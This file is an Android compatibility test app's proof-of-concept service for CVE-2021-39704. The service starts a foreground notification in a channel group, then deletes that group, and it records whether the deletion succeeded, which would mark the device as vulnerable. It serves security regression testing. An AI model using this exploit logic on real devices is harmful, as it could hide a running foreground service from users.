hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java

/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts.CVE_2021_39704;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationChannelGroup;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.drawable.Icon;
import android.os.IBinder;

//PocService is needed to build the notification when the service starts.
public class PocService extends Service {

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        try {
            exploitBug();
            super.onCreate();
        } catch (Exception e) {
            setResult(getResources().getInteger(R.integer.assumptionFailure),
                    e.getMessage());
        }
    }

    void exploitBug() {
        try {
            final NotificationManager notificationManager = getSystemService(
                    NotificationManager.class);
            final String id = getString(R.string.channel);
            final String groupId = getString(R.string.groupId);
            notificationManager.createNotificationChannelGroup(
                    new NotificationChannelGroup(groupId,
                            getString(R.string.group)));
            NotificationChannel notificationChannel = new NotificationChannel(
                    id, id, NotificationManager.IMPORTANCE_HIGH);
            notificationChannel.setGroup(groupId);
            notificationManager.createNotificationChannel(notificationChannel);
            Notification notification = new Notification.Builder(this, id)
                    .setSmallIcon(createNotificationIcon()).build();
            startForeground(1, notification);
            setResult(getResources().getInteger(R.integer.fail),
                    getString(R.string.vulnerableMessage));
            notificationManager.deleteNotificationChannelGroup(groupId);
            setResult(getResources().getInteger(R.integer.fail),
                    getString(R.string.vulnerableMessage));
        } catch (SecurityException e) {
            setResult(getResources().getInteger(R.integer.pass),
                    getString(R.string.passMessage));
        }
    }

    private void setResult(int result, String message) {
        try {
            SharedPreferences sh = getSharedPreferences(
                    getString(R.string.sharedPreference), Context.MODE_PRIVATE);
            SharedPreferences.Editor edit = sh.edit();
            edit.putInt(getString(R.string.resultKey), result);
            edit.putString(getString(R.string.messageKey), message);
            edit.commit();
        } catch (Exception e) {
            // ignore exception
        }
    }

    Icon createNotificationIcon() {
        Resources resources = getResources();
        Bitmap testBitmap = Bitmap.createBitmap(
                resources.getInteger(R.integer.width),
                resources.getInteger(R.integer.height),
                Bitmap.Config.ARGB_8888);
        final Canvas canvas = new Canvas(testBitmap);
        canvas.drawColor(Color.BLUE);
        return Icon.createWithBitmap(testBitmap);
    }
}